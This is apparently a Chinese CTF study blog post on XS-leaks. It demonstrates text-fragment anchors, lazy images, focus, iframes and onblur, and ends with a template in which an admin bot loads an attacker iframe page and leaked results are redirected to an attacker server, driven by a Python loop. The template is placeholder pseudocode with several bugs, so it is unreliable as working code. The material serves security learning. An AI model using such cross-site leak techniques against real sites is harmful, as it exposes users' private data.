XS-leaks信息泄露利用方法

2023-05-17 10:56:10 浏览数 (2)

XS-leaks信息泄露利用方法

这段时间遇到了好几个XS-leaks的题目,在这里记几个有关知识点和相关题目

XS-leaks信息泄露介绍很多的一个WiKi:XS-Leaks Wiki

锚点#:~:text=xxx

相当于依据聚焦的描点,如果稳重有内容xxx的话就会滑动到对应位置

PS:这个功能在火狐没使用成功,但是在Chrom时候没问题的

此外,xxx的内容还可以使用一定格式来进行匹配,但是并没有找到格式定义的介绍

具体描述参考 https://xsleaks.dev/docs/attacks/experiments/scroll-to-text-fragment/

img标签属性loading="lazy"

当img标签属性带有loading="lazy"的时候,就会对这个图片执行懒加载,意思就是只有当进度条或者画面加载到这个img标签所在的地方的时候才会对图片进行加载,在此之前,图片内容都不会加载出来

#:~:text=xxx和图片懒加载的配合使用可以参考[LINECTF2022]title todo

锚点#id

当一个链接后面加上了#id之后网页页面就会聚焦到对应id号随对应的标签

代码语言:javascript复制
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
</head>
<body>
a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a
a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a
a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a
<a id="continue" href="/">Continue Guessing</a>
</body>
</html>

当访问url#continue就会自动聚焦跳转到页尾的continue标签处

script的focus()函数

代码语言:javascript复制
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
</head>
<body>
a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a
a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a
a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a
<a id="continue" href="/">Continue Guessing</a>
<script>
document.getElementById("continue").focus();
</script>
</body>
</html>

document.getElementById("continue").focus();和上面一样,会聚焦到id为continue的标签处

window.open函数

代码语言:javascript复制
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
</head>
<body>
<script>
    window.open('/xxx1.html');
    window.open('http://127.0.0.1/xxx2.html');
</script>
</body>
</html>

上面代码会先新建一个窗口打开当前url根目录下的/xxx1.html页面,然后再新建一个窗口打开链接http://127.0.0.1/xxx2.html

iframe标签

代码语言:javascript复制
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
</head>
<body>
a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a
a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a
a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a<br>a
<script>
    window.open('http://127.0.0.1/工具-CTF/XS-leaks/id2.html');
    var ifr = document.createElement("iframe");
    ifr.src = "http://h0cksr.xyz";
    document.body.appendChild(ifr);
</script>
</body>
</html>

iframe标签会加载出一个页面的画面并且以框的形式显示出来,而且html页面的全部内容都会被加载到这个iframe标签里面,我们也可以通过url结尾处添加#id的方式聚焦到ifram标签里面的某个内容

onblur 事件

当用户离开输入字段时执行 JavaScript,这个代码可以使js代码也可以是调用一个函数

代码语言:javascript复制
<!DOCTYPE html>
<html>
<body>

<input type="text" id="input1" onblur="myFunction()">
<p>当完成输入之后退出输入框就会执行myFunction</p>

<a href="http://h0cksr.xyz" id="a1" onblur="myFunction()">url</a>
<p>当点击连接之后就会执行myFunction(如果是当前页面打开href链接的话不会弹窗)</p>

<script>
    function myFunction() {
        alert(1);
    }
</script>

</body>
</html>

用法

如果是让管理员访问指定链接的话,我们可以

  1. 让admin访问我们将会加载ifram的页面,访问某个链接
  2. 写一段js代码,对返回的ifram标签进行分析
  3. 进行差异化处理,如果分析返回的ifram标签发现带有某个特殊的属性,就对记录这个能返回特殊属性的链接
  4. 将返回带有特殊属性的链接进行传递(可以写个python服务接收或者写入文件)

这样,我们可以写两个服务

服务一:

搭建一个python服务返回下面html内容

作用:让admin访问的中间跳板以admin访问http://target.com

代码语言:javascript复制
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
</head>
<body>
<script>

    var ifr = document.createElement("iframe");
    ifr.src = "访问链接";
    ifr.id = "idd";
    document.body.appendChild(ifr);
</script>
<script>
    var ifr = document.getElementById("idd");
    var special = 对ifr进行分析获取某个特殊差异化的属性;
    if(special == "想要的结果"){
        window.location("http://server2?" 产生差异化的访问链接);
    }
    else{
        其它处理
    }
</script>
</body>
</html>

服务二:

作用:不断让admin访问服务一的页面并对返回的差异化结果进行分析处理

代码语言:javascript复制
import requests,timefrom flask 
import Flask, render_template, request

app = Flask(__name__)
flag=""

@app.route("/")
def analysisServer1():
    url="服务一访问当前服务的链接"
    special="从返回结果提取出产生差异化的数据"
    flag ="新的字符数据"

def adminToServer1():
    while 1:
        url="http://target.com"
        data={"url":"服务一链接" flag}
        request.post(url,data=data)
        time.sleep(1)

if __name__ == "__main__":
    threading.Tread(target=adminToServer1).start()
    app.run()

题目练习:

[LINECTF2022]title todo

[HSCTF2022]hsgtf

[HSCTF2022]markdown-plus-plus

xss的各种用法可以参考这里:https://www.jianshu.com/p/1bad825bb13f

0 人点赞